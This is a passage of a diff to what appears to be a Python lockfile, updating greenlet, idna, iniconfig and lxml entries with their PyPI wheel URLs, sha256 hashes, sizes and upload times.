upload-time = "2026-06-26T18:31:44.748Z" }, + { url = "https://files.pythonhosted.org/packages/14/40/c57489acf8e37d74e2913d4eff63aa0dba17acccc4bdeef874dde2dbbec9/greenlet-3.5.3-cp312-cp312-win_amd64.whl", hash = "sha256:cde8adafa2365676f74a979744629589999093bc86e2484214f58e61df08902c", size = 239882, upload-time = "2026-06-26T18:23:27.518Z" }, + { url = "https://files.pythonhosted.org/packages/71/fd/6fea0e3d6600f785069481ee637e09378dd4118acdfd38ad88ae2db31c98/greenlet-3.5.3-cp312-cp312-win_arm64.whl", hash = "sha256:c4e7b79d83805475f0102008843f6eb45fd3bb0b2e88c774adab5fbaab27117d", size = 238211, upload-time = "2026-06-26T18:22:37.671Z" }, + { url = "https://files.pythonhosted.org/packages/9b/ff/a620267401db30a50cc8450ee90730e2d4a85658c055c0e760d4ed47fb13/greenlet-3.5.3-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c8d87c2134d871df96ecdea9cec7cbaab286dadab0f56476e57aaf9e8ac11550", size = 287609, upload-time = "2026-06-26T18:21:14.724Z" }, + { url = "https://files.pythonhosted.org/packages/d6/fa/5401ac78021c826a25b6dde0c705e0a8f29b617509f9185a31dac15fbe1b/greenlet-3.5.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2d185dd1621757e70c3861cceffd5317ab4e7ed7eb09c82994828468527ade5", size = 607435, upload-time = "2026-06-26T19:07:11.412Z" }, + { url = "https://files.pythonhosted.org/packages/e9/76/1dc144a2e56e65d36405078ed774224375ea520a1870a6e46e08bb4ac7bf/greenlet-3.5.3-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1c514a468149bf8fbbab874188a3535cd8a48a3e353eb53a3d424296f8dbacd3", size = 619787, upload-time = "2026-06-26T19:10:08.396Z" }, + { url = "https://files.pythonhosted.org/packages/bf/87/c298cee62df1de4ad7fec32abda73526cff347fd143a6ed4ac369246668a/greenlet-3.5.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:915f887cf2682b66419b879423a2e072634aa7b7dce6f3ada4957cfced3f1e9a", size = 616786, upload-time = "2026-06-26T18:32:19.128Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2e/e6f009885ed0705ccf33fe0583c117cfd03cde77e31a596dd5785a30762b/greenlet-3.5.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:766cfd421c13e450feb340cd472a3ed9957d438727b7b4593ad7c76c5d2b0deb", size = 1574316, upload-time = "2026-06-26T19:09:04.273Z" }, + { url = "https://files.pythonhosted.org/packages/ef/fe/43fd110b01e40da0adb7c90ac7ea744bef2d43dca00de5095fd2351c2a68/greenlet-3.5.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2ecda9ec22edf38fa389369eaed8c3d37c05f3c54e69f69438dbb2cc1de1458b", size = 1638614, upload-time = "2026-06-26T18:31:46.297Z" }, + { url = "https://files.pythonhosted.org/packages/0f/7c/062447147a61f8b4337b156fe70d32a165fcf2f89d7ca6255e572806705c/greenlet-3.5.3-cp313-cp313-win_amd64.whl", hash = "sha256:c82304750f057167ff60d188df1d0cc1764ce9567eadf03e6a7443bcedd0b30b", size = 239850, upload-time = "2026-06-26T18:21:54.613Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7e/220a7f5824a64a60443fc03b39dfac4ea63a7fb6d481efa27eafa928e7f4/greenlet-3.5.3-cp313-cp313-win_arm64.whl", hash = "sha256:dc133a1569ee667b2a6ef56ce551084aeefd87a5acbc4736d336d1e2edc6cfc4", size = 238141, upload-time = "2026-06-26T18:22:48.507Z" }, + { url = "https://files.pythonhosted.org/packages/c3/93/43e116ee114b28737ba7e12952a0d4e2f55944d0f84e42bc91ba7192a3c9/greenlet-3.5.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:fd2e02fa07485778536a036222d616ab957b1d533f36b3ed98ce725d9c9d3117", size = 288202, upload-time = "2026-06-26T18:23:49.604Z" }, + { url = "https://files.pythonhosted.org/packages/82/2f/146d218299046a43d1f029fd544b3d110d0f175a09c715c7e8da4a4a345d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df0a0628d1597eb0897b62f55d1343f772405fd25f3b2a796c76874b0c2e22e8", size = 654096, upload-time = "2026-06-26T19:07:12.71Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cc/04738cafb3f45fa991ea44f9de94c47dcec964f5a972300988a6751f49d9/greenlet-3.5.3-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ebd933a6adabc298bab47731a130fe6bfb888bd934eee37810f151159544540d", size = 666304, upload-time = "2026-06-26T19:10:09.503Z" }, + { url = "https://files.pythonhosted.org/packages/ce/aa/4e0dad5e605c270c784ab911c43da6adb136ccd4d81180f763ca429a723d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b9d501b40e80b70e32323c799dd9b420a5577a9601469d362ae1ffb690f3a7c", size = 663635, upload-time = "2026-06-26T18:32:20.802Z" }, + { url = "https://files.pythonhosted.org/packages/d1/50/13efdbea246fe3d3b735e191fec08fb50809f53cd2383ebe123d0809e44b/greenlet-3.5.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a1fad1d11e7d6aab184107baa8e4ece11ccba3ec9599cd7efa5ff4d70d43256a", size = 1621252, upload-time = "2026-06-26T19:09:05.647Z" }, + { url = "https://files.pythonhosted.org/packages/f7/22/c0a336ae4a1410fd5f5121098e5bfbf1865f64c5ef80b4b5412886c4a332/greenlet-3.5.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fad5aec764399f1b5cc347ad250a59660f20c8f8888ea6bae1f93b769cce1154", size = 1684824, upload-time = "2026-06-26T18:31:47.738Z" }, + { url = "https://files.pythonhosted.org/packages/7a/94/91aec0030bea75c4b3244251d0de60a1f3432d1ecb53ab6c437fb5c3ba61/greenlet-3.5.3-cp314-cp314-win_amd64.whl", hash = "sha256:7669aa24cf2a1041d6f7899575b494a3ab4cf68bfcc8609b1dc0be7272db835e", size = 240754, upload-time = "2026-06-26T18:22:15.669Z" }, + { url = "https://files.pythonhosted.org/packages/e5/06/68d0983e79e02138f64b4d303c500c27ddb48e5e77f3debb80888a921eae/greenlet-3.5.3-cp314-cp314-win_arm64.whl", hash = "sha256:5b4807c4082c9d1b6d9eed56fcd041863e37f2228106eef24c30ca096e238605", size = 239549, upload-time = "2026-06-26T18:22:42.996Z" }, + { url = "https://files.pythonhosted.org/packages/91/95/3e161213d7f1d378d15aa9e792093e9bfe01844680d04b7fd6e0107c9098/greenlet-3.5.3-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:271a8ea7c1024e8a0d7dd2be66dd66dda8a07193f41a17b9e924f7600f5b62be", size = 296389, upload-time = "2026-06-26T18:22:20.657Z" }, + { url = "https://files.pythonhosted.org/packages/00/92/715c44721abe2b4d1ae9abde4179411868a5bff312479f54e105d372f131/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:19131729ae0ddc3c2e1ef85e650169b5e37ee32e400f215f78b94d7b0d567310", size = 653382, upload-time = "2026-06-26T19:07:14.209Z" }, + { url = "https://files.pythonhosted.org/packages/a0/83/37a10372a1090a6624cca8e74c12df1a36c2dc36429ed0255b7fb1aeee23/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1540dd8e5fc2a5aec40fbb98ef8e149fa47c89a4b4a1cf2575a14d3d1869d7a8", size = 659401, upload-time = "2026-06-26T19:10:10.876Z" }, + { url = "https://files.pythonhosted.org/packages/db/e2/d1509cad4207da559cc42986ecdd8fc67ad0d1bba2bf03023c467fd5e0f3/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e81fa194a1d20967877bdf9c7794db2bc99063e5be36aee710c08f04c5bb087f", size = 656969, upload-time = "2026-06-26T18:32:22.272Z" }, + { url = "https://files.pythonhosted.org/packages/86/7d/eaf70de20aadca3a5884aec58362861c64ce45e7b277f47ed026926a3b89/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55cf4d777485d43110e47133cbba6d74a8885a87ec1227ef0267f9ee80c5aa21", size = 1617822, upload-time = "2026-06-26T19:09:06.893Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f9/414d38fc400ae4350d4185eaad1827676f7cf5287b9136e0ed1cbbe20a7f/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:12a248ba75f6a9a236375f52296c498c89ff1d8badf32deb9eca7abd5853f7da", size = 1677983, upload-time = "2026-06-26T18:31:49.396Z" }, + { url = "https://files.pythonhosted.org/packages/e4/15/7edb977e08f9bff702fe42d6c902702786ff6b9694058b4e6a2a6ac90e57/greenlet-3.5.3-cp314-cp314t-win_amd64.whl", hash = "sha256:efc6bd60ea02e085862c74a3ef64b147ffc6f1a5ea7d9f26e7a939943f68c1e3", size = 243626, upload-time = "2026-06-26T18:24:41.485Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8a/93928dce91e6b3598b5e779e8d1fd6576a504640c58e78627077f6a7a91a/greenlet-3.5.3-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:ea03f2f04367845d6b58eeed276e1e56e51f0b97d8ad5a88a7d20a91dc9056cc", size = 288860, upload-time = "2026-06-26T18:22:48.07Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ca/69db42d447a1378043e2c8f19c09cbbd1263371505053c496b49066d3d16/greenlet-3.5.3-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78dbef602fda6d97d957eb7937f70c9ce9e9527330347f8f6b6f9e554a9e7a47", size = 659747, upload-time = "2026-06-26T19:07:15.565Z" }, + { url = "https://files.pythonhosted.org/packages/a8/0b/af7ac2ef8dd41e3da1a40dda6305c23b9a03e13ba975ec916357b50f8575/greenlet-3.5.3-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f73857adb8fee13fa56c172bd11262f888c0c648f9fea113e777bb2c7904a81", size = 670419, upload-time = "2026-06-26T19:10:12.293Z" }, + { url = "https://files.pythonhosted.org/packages/51/1e/1d51640cacbfc455dbe9f9a9f594c49e4e244f63b9971a2f4764e46cc53d/greenlet-3.5.3-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:232fec92e823addaf02d9472cf7381e24a1d046a6ced1103c5caa4c21b9dfc1d", size = 668787, upload-time = "2026-06-26T18:32:24.298Z" }, + { url = "https://files.pythonhosted.org/packages/21/66/4030d5b0b5894500023f003bb054d9bb354dfbd1e186c3a296759172f5f5/greenlet-3.5.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:2421c3564da9429d5586d46ca31ebb26516b5498a802cf65c041a8e8a8980d34", size = 1626305, upload-time = "2026-06-26T19:09:08.281Z" }, + { url = "https://files.pythonhosted.org/packages/0e/50/5221371c7550108dfa3c378debc41d032aa9c78e89abb01d8011cfc93289/greenlet-3.5.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e0f0d160f0b2e558e6c75f7930967183255dc9735e5f5b8cae58ee09c9576d8b", size = 1688631, upload-time = "2026-06-26T18:31:51.278Z" }, + { url = "https://files.pythonhosted.org/packages/68/5d/00d469daae3c65d2bf620b10eee82eb022127d483c6bc8c69fae6f3fbf17/greenlet-3.5.3-cp315-cp315-win_amd64.whl", hash = "sha256:dd99329bbc15ca78dcc583dba05d0b1b0bae01ab6c2174989f5aaee3e41ac930", size = 241027, upload-time = "2026-06-26T18:22:38.203Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e8/883785b44c5780ed71e83d3e4437e710470be17a2e181e8b601e2da0dc4a/greenlet-3.5.3-cp315-cp315-win_arm64.whl", hash = "sha256:499fef2acede88c1864a57bb586b4bf533c81e1b82df7ab93451cdb47dfec227", size = 240085, upload-time = "2026-06-26T18:23:54.217Z" }, + { url = "https://files.pythonhosted.org/packages/1c/da/4f4a8450962fad137c1c8981a3f1b8919d06c829993d4d476f9c525d5173/greenlet-3.5.3-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:176bc16a721fa5fc294d70b87b4dfa5fbdd251b3da5d5372735ecef9bd7d6d0c", size = 297221, upload-time = "2026-06-26T18:23:27.176Z" }, + { url = "https://files.pythonhosted.org/packages/57/66/b3bfae3e220a9b63ea539a0eea681800c69ab1aada757eae8789f183e7ce/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:629b614d2b786e89c50440e246f33eea78f58a962d0bdbbcc809e6d13605903f", size = 657221, upload-time = "2026-06-26T19:07:16.973Z" }, + { url = "https://files.pythonhosted.org/packages/7b/81/b6d4d73a709684fc77e7fa034d7c2fe82cffa9fc920fadcaa659c2626213/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b2e857ae16f5f72142edf75f9f176fe7526ba19a2841df1420516f83831c9f2", size = 663226, upload-time = "2026-06-26T19:10:13.723Z" }, + { url = "https://files.pythonhosted.org/packages/f5/07/e210b02b589f16e74ff48b730690e4a34ffe984219fce4f3c1a0e7ec8545/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e515757e2e36bcbf1fad09a46e1557e8b1ae1797d4b44d09da7deed88ad28608", size = 660802, upload-time = "2026-06-26T18:32:26.081Z" }, + { url = "https://files.pythonhosted.org/packages/eb/2e/5303eb3fa06bca089060f479707182a93e360683bc252acf846c3090d34e/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b363d46ed1ea431825fdb01471bb024fc08399bad1572a616e853c7684415adb", size = 1622157, upload-time = "2026-06-26T19:09:09.527Z" }, + { url = "https://files.pythonhosted.org/packages/54/70/50de47a488f14df260b50ae34fb5d56016e308b098eab02c878b5223c26a/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:e44da2f5bbdaabaf7d80b73dbb430c7035771e9f244e3c8b769715c9d8fa0a16", size = 1681159, upload-time = "2026-06-26T18:31:52.986Z" }, + { url = "https://files.pythonhosted.org/packages/a7/13/1055e1dda7882073eda533e2b96c62e55bbd2db7fda6d5ece992febc7071/greenlet-3.5.3-cp315-cp315t-win_amd64.whl", hash = "sha256:8ff8bed3e3baa20a3ea261ce00526f1898ad4801d4886fd2220580ee0ad8fadf", size = 244007, upload-time = "2026-06-26T18:22:04.353Z" }, + { url = "https://files.pythonhosted.org/packages/b4/0d/ca7d15afbdc397e3401134c9e1800d51d12b829661786187a4ad08fe484f/greenlet-3.5.3-cp315-cp315t-win_arm64.whl", hash = "sha256:b7068bd09f761f3f5b4d214c2bed063186b2a86148c740b3873e3f56d79bac31", size = 242586, upload-time = "2026-06-26T18:23:37.93Z" }, ] [[package]] @@ -833,11 +847,11 @@ wheels = [ [[package]] name = "idna" -version = "3.15" +version = "3.18" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, + { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, ] [[package]] @@ -857,6 +871,15 @@ dependencies = [ { name = "six" }, ] +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + [[package]] name = "invoke" version = "3.0.3" @@ -941,120 +964,120 @@ wheels = [ [[package]] name = "lxml" -version = "6.1.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/28/30/9abc9e34c657c33834eaf6cd02124c61bdf5944d802aa48e69be8da3585d/lxml-6.1.0.tar.gz", hash = "sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13", size = 4197006, upload-time = "2026-04-18T04:32:51.613Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/02/6e/ee8fc0e01202eb3dd2b9e1ea4f0910d72425d35c66187c63931d7a3ea73f/lxml-6.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec", size = 8540733, upload-time = "2026-04-18T04:27:33.185Z" }, - { url = "https://files.pythonhosted.org/packages/54/e8/325fe9b942824c773dffe1baf0c35b046a763851fdff4393af4450bceeb7/lxml-6.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a31286dbb5e74c8e9a5344465b77ab4c5bd511a253b355b5ca2fae7e579fafec", size = 4602805, upload-time = "2026-04-18T04:27:36.097Z" }, - { url = "https://files.pythonhosted.org/packages/2d/81/221aa3ea4a40370bb0358fa454cbe7e5a837e522f7630c24dfef3f9a73b0/lxml-6.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551", size = 5002652, upload-time = "2026-04-18T04:27:30.603Z" }, - { url = "https://files.pythonhosted.org/packages/c6/e1/fdbfb9019542f1875c093576df7f37adc2983c8ba7ecf17e5f14490bc107/lxml-6.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd", size = 5155332, upload-time = "2026-04-18T04:27:33.507Z" }, - { url = "https://files.pythonhosted.org/packages/56/b1/4087c782fff397cd03abf9c551069be59bb04a7e548c50fb7b9c4cdaca28/lxml-6.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffb34ea45a82dd637c2c97ae1bbb920850c1e59bcae79ce1c15af531d83e7215", size = 5057226, upload-time = "2026-04-18T04:27:37.567Z" }, - { url = "https://files.pythonhosted.org/packages/5d/66/516c79dec8417f3a972327330254c0b5fac93d5c3ecfd8a5b43650a5a4d9/lxml-6.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a1d9b99e5b2597e4f5aed2484fef835256fa1b68a19e4265c97628ef4bf8bcf4", size = 5287588, upload-time = "2026-04-18T04:27:41.4Z" }, - { url = "https://files.pythonhosted.org/packages/94/1d/e578f4cbeb42b9df9f29b0d44a45a7cdfa3a5ae300dd59ec68e3602d29bb/lxml-6.1.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:d43aa26dcda363f21e79afa0668f5029ed7394b3bb8c92a6927a3d34e8b610ea", size = 5412438, upload-time = "2026-04-18T04:27:45.589Z" }, - { url = "https://files.pythonhosted.org/packages/47/5b/2aa68307d6d15959e84d4882f9c04f2da63127eac463e1594166f681ef77/lxml-6.1.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:6262b87f9e5c1e5fe501d6c153247289af42eb44ad7660b9b3de17baaf92d6f6", size = 4770997, upload-time = "2026-04-18T04:27:49.853Z" }, - { url = "https://files.pythonhosted.org/packages/ae/c9/3e51fc1228310a836b4eb32595ae00154ab12197fca944676a3ab3b163ea/lxml-6.1.0-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d1392c569c032f78a11a25d1de1c43fff13294c793b39e19d84fade3045cbbc3", size = 5359678, upload-time = "2026-04-18T04:31:56.184Z" }, - { url = "https://files.pythonhosted.org/packages/b5/91/ab8bc834f977fbbd310e697b120787c153db026f9151e02a88d2645d4e5b/lxml-6.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7", size = 5107890, upload-time = "2026-04-18T04:32:00.387Z" }, - { url = "https://files.pythonhosted.org/packages/bb/10/8a143cfa3ac99cb5b0523ff6d0429a9c9dddf25ffeae09caa3866c7964d9/lxml-6.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:9f93d5b8b07f73e8c77e3c6556a3db269918390c804b5e5fcdd4858232cc8f16", size = 4803977, upload-time = "2026-04-18T04:32:05.099Z" }, - { url = "https://files.pythonhosted.org/packages/45/fd/ee02faf52fa39c2fe32f824628958b9aa86dff21343dc3161f0e3c6ccd15/lxml-6.1.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:de550d129f18d8ab819651ffe4f38b1b713c7e116707de3c0c6400d0ef34fbc1", size = 5350277, upload-time = "2026-04-18T04:32:09.176Z" }, - { url = "https://files.pythonhosted.org/packages/85/8c/b3481364b8554b5d36d540189a87fc71e94b0b01c24f8f152bd662dd2e45/lxml-6.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c08da09dc003c9e8c70e06b53a11db6fb3b250c21c4236b03c7d7b443c318e7a", size = 5309717, upload-time = "2026-04-18T04:32:13.303Z" }, - { url = "https://files.pythonhosted.org/packages/74/e8/a6b21927077a9127afa17473b6576b322616f34ac50ee4f577e763b75ec0/lxml-6.1.0-cp310-cp310-win32.whl", hash = "sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544", size = 3598491, upload-time = "2026-04-18T04:27:24.288Z" }, - { url = "https://files.pythonhosted.org/packages/ea/82/14dea800d041274d96c07d49ff9191f011d1427450850de19bf541e2cc12/lxml-6.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a", size = 4020906, upload-time = "2026-04-18T04:27:27.53Z" }, - { url = "https://files.pythonhosted.org/packages/f2/ba/d3539aaf4d9d21456b9a7b902816623227d05d63e7c5aafd8834c4b9bed6/lxml-6.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:e80807d72f96b96ad5588cb85c75616e4f2795a7737d4630784c51497beb7776", size = 3667787, upload-time = "2026-04-18T04:27:29.407Z" }, - { url = "https://files.pythonhosted.org/packages/5e/5d/3bccad330292946f97962df9d5f2d3ae129cce6e212732a781e856b91e07/lxml-6.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9", size = 8526232, upload-time = "2026-04-18T04:27:40.389Z" }, - { url = "https://files.pythonhosted.org/packages/a7/51/adc8826570a112f83bb4ddb3a2ab510bbc2ccd62c1b9fe1f34fae2d90b57/lxml-6.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9c03e048b6ce8e77b09c734e931584894ecd58d08296804ca2d0b184c933ce50", size = 4595448, upload-time = "2026-04-18T04:27:44.208Z" }, - { url = "https://files.pythonhosted.org/packages/54/84/5a9ec07cbe1d2334a6465f863b949a520d2699a755738986dcd3b6b89e3f/lxml-6.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5", size = 4923771, upload-time = "2026-04-18T04:32:17.402Z" }, - { url = "https://files.pythonhosted.org/packages/a7/23/851cfa33b6b38adb628e45ad51fb27105fa34b2b3ba9d1d4aa7a9428dfe0/lxml-6.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e", size = 5068101, upload-time = "2026-04-18T04:32:21.437Z" }, - { url = "https://files.pythonhosted.org/packages/b0/38/41bf99c2023c6b79916ba057d83e9db21d642f473cac210201222882d38b/lxml-6.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512", size = 5002573, upload-time = "2026-04-18T04:32:25.373Z" }, - { url = "https://files.pythonhosted.org/packages/c2/20/053aa10bdc39747e1e923ce2d45413075e84f70a136045bb09e5eaca41d3/lxml-6.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c", size = 5202816, upload-time = "2026-04-18T04:32:29.393Z" }, - { url = "https://files.pythonhosted.org/packages/9a/da/bc710fad8bf04b93baee752c192eaa2210cd3a84f969d0be7830fea55802/lxml-6.1.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f504d861d9f2a8f94020130adac88d66de93841707a23a86244263d1e54682f5", size = 5329999, upload-time = "2026-04-18T04:32:34.019Z" }, - { url = "https://files.pythonhosted.org/packages/b3/cb/bf035dedbdf7fab49411aa52e4236f3445e98d38647d85419e6c0d2806b9/lxml-6.1.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289", size = 4659643, upload-time = "2026-04-18T04:32:37.932Z" }, - { url = "https://files.pythonhosted.org/packages/5c/4f/22be31f33727a5e4c7b01b0a874503026e50329b259d3587e0b923cf964b/lxml-6.1.0-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a", size = 5265963, upload-time = "2026-04-18T04:32:41.881Z" }, - { url = "https://files.pythonhosted.org/packages/c8/2b/d44d0e5c79226017f4ab8c87a802ebe4f89f97e6585a8e4166dffcdd7b6e/lxml-6.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3", size = 5045444, upload-time = "2026-04-18T04:32:44.512Z" }, - { url = "https://files.pythonhosted.org/packages/d3/c3/3f034fec1594c331a6dbf9491238fdcc9d66f68cc529e109ec75b97197e1/lxml-6.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9", size = 4712703, upload-time = "2026-04-18T04:32:47.16Z" }, - { url = "https://files.pythonhosted.org/packages/12/16/0b83fccc158218aca75a7aa33e97441df737950734246b9fffa39301603d/lxml-6.1.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11", size = 5252745, upload-time = "2026-04-18T04:32:50.427Z" }, - { url = "https://files.pythonhosted.org/packages/dd/ee/12e6c1b39a77666c02eaa77f94a870aaf63c4ac3a497b2d52319448b01c6/lxml-6.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4", size = 5226822, upload-time = "2026-04-18T04:32:53.437Z" }, - { url = "https://files.pythonhosted.org/packages/34/20/c7852904858b4723af01d2fc14b5d38ff57cb92f01934a127ebd9a9e51aa/lxml-6.1.0-cp311-cp311-win32.whl", hash = "sha256:857efde87d365706590847b916baff69c0bc9252dc5af030e378c9800c0b10e3", size = 3594026, upload-time = "2026-04-18T04:27:31.903Z" }, - { url = "https://files.pythonhosted.org/packages/02/05/d60c732b56da5085175c07c74b2df4e6d181b0c9a61e1691474f06ef4b39/lxml-6.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7", size = 4025114, upload-time = "2026-04-18T04:27:34.077Z" }, - { url = 